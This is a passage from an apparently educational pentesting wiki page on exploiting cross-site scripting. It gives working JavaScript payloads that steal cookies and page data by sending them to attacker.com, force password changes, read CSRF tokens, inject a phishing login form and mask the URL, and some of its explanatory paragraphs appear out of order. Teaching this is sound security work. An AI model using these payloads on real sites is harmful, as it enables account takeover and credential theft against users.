Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  • From another site
  • Stealing Cookies
  • Forcing requests - fetch()
  • Phishing (+ Password Managers)
  1. Pentesting
  2. WEP-Pen
  3. OWSAP TOP 10
  4. Injection
  5. Cross Site Scripting

Exploitation

PreviousCross Site ScriptingNextProtections

Last updated 6 months ago

Making an alert() pop up is cool, but to show the impact it might be necessary to exploit what an XSS or JavaScript execution gives you. The summary is that you can do almost everything a user can do themselves, but do this for them. You can click buttons, request pages, post data, etc. which open up a large field of impact, depending on what an application lets the user do.

From another site

The Cross-Site in XSS means that it should be exploitable from another malicious site, which can then perform actions on the victim's behalf on the target site. It is always a good idea to test exploits locally first with a simple web server like php -S 0.0.0.0:8000, and when you need to exploit something remotely it can be hosted temporarily with a tool like , or permanently with a web server of your own.

The easiest is Reflected XSS, which should trigger when a specific URL is triggered. If someone visits your page, you can simply redirect them to the malicious URL with any payload to trigger the XSS:

<script>
    location = "https://target.com/endpoint?xss=<style onload=alert()>"
</script>

Note that might be needed on parameters to make sure special characters are not part of the URL, or to simply obfuscate the payload

For Stored XSS, a more likely scenario might be someone else stumbling upon the payload by using the site normally, but if the location is known by the attacker they can also redirect a victim to it in the same way as Reflected XSS as shown above.

Some exploits require more complex interaction between the attacker and the target site, like <iframe>'ing (only if Content Security Policy (CSP) and X-Frame-Options allows) or opening windows (only when handling user interaction like pressing a button with onclick=).

Stealing Cookies

In the early days of XSS, this was often the target vector for exploitation, as session cookies could be stolen and exfiltrated to an attacker to later impersonate them on demand. This is done with the document.cookie variable that contains all cookies as a string. Then using fetch() a request containing this data can be made to the attacker's server to read remotely:

fetch("http://attacker.com/leak?cookie=" + document.cookie)

Pretty often, however, modern frameworks will set the httpOnly flag on cookies which means they will not be available for JavaScript, only when making HTTP requests. This document.cookie variable will simply not contain the cookie that the flag is on, meaning it cannot be exfiltrated directly. But the possibilities do not end here, as you can still make requests using the cookies from within JavaScript, just not directly read them.

In very restricted scenarios you might not be able to make an outbound connection due to the connect-src Content Security Policy (CSP) directive. See that chapter for ideas on how to still exfiltrate data

Forcing requests - fetch()

One idea to still steal cookies would be to request a page that responds with the cookie information in some way, like a debug or error page. You can then request this via JavaScript fetch() and exfiltrate the response:

fetch("http://target.com/debug")  // Perform request
    .then(res => res.text())      // Read response as text
    .then(res => fetch("http://attacker.com/leak?" + res));

Logs of attacker.com:

"GET /leak?session=... HTTP/1.1" 404 -

Tip: For more complex data, you can use btoa(res) to Base64 encode the data which makes sure no special characters are included, which you can later decode

A more common way of exploitation is by requesting personal data from a settings page or API route, which works in a very similar way as shown above.

Performing actions

fetch("http://target.com/api/change_password", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-Custom-Header": "anything"
    },
    body: JSON.stringify({
        "password": "hacked",
        "confirm_password": "hacked"
    })
})

HTTP Request:

POST /api/change_password HTTP/1.1
Host: target.com
Cookie: session=...
X-Custom-Header: anything
Content-Type: application/json
Content-Length: 49

{"password":"hacked","confirm_password":"hacked"}

doDue to fetch() only being a simple function call, you can create a very complex sequence of actions in JavaScript code to execute on the victim, as some actions require some setup. You could create an API token using one request, and then use it in the next to perform some API call. Or a more common example is fetching a CSRF token from some form, and then using that token to POST data if it is protected in that way. As you can see, CSRF tokens do not protect against XSS:

fetch("http://target.com/login")  // Request to some form with CSRF token
    .then(res => res.text())
    .then(res => {
        // Extract CSRF token
        const csrf_token = res.match(/<input type="hidden" name="csrf_token" value="(.*)" \/>/)[1];
        // Build password reset form data
        const form = new FormData();
        form.append("csrf_token", csrf_token);
        form.append("password", "hacked");
        form.append("confirm_password", "hacked");

        // Perform another request with leaked token
        fetch("http://target.com/change_password", {
            method: "POST",
            body: form
        });
    });

Phishing (+ Password Managers)

If you instead use full JavaScript capabilities and overwrite the HTML on a page, you can create a form on the real domain that password managers will happily fill out and make the victim trust:

document.body.innerHTML = `
    <form action="http://attacker.com/leak" method="post">
        <input type="text" name="username"><br>
        <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
`

Since you are executing code on the same origin, you can even open windows to the same domain, and control their HTML content. With this, you could create a popup window showing the real domain in the address bar, with some login form or other data.

Masking a suspicious URL

history.replaceState(null, null, "/login");

When making a fetch() request to the same domain you are on, cookies are included, even if httpOnly is set. This opens up many possibilities by requesting data and performing actions on the application. When making a request, the response is also readable because of the , as we are on the same site as the request is going to.

Performing actions on the victim's behalf can is also common and can result in a high impact, depending on their capabilities. These are often done using POST requests and may contain extra data or special headers. Luckily, allows us to do all that and more! Its second argument contains options with keys like method:, headers:, and body: just to name a few:

XSS gives you complete control over the JavaScript execution on a page, meaning you can also control everything that is on the page, under the regular target's domain. This can create phishing pages indistinguishable from the real login page because the content can be controlled as well as the domain in the navigation bar. As shown in, just using an <iframe> and a <style> tag you can take over the whole page with your own. One slight problem password managers will notice is the fact that the form itself is on another domain, meaning saved passwords will not automatically be filled or suggested.

A last tricky part is the URL shown in the address bar at the time of your XSS, which may make your URL like "http://target.com/endpoint?url=javascript:document.body.innerHTML=..." showing a login page very suspicious to people who check the URL. Luckily, the same origin policy comes to the rescue once again because using the we can overwrite the path of a URL. Not its origin, but its path. That means we can change the suspicious URL to something expected like "/login", making it way more believable:

ngrok
URL Encoding
Same-Origin Policy
fetch()
Alternative Impact
History API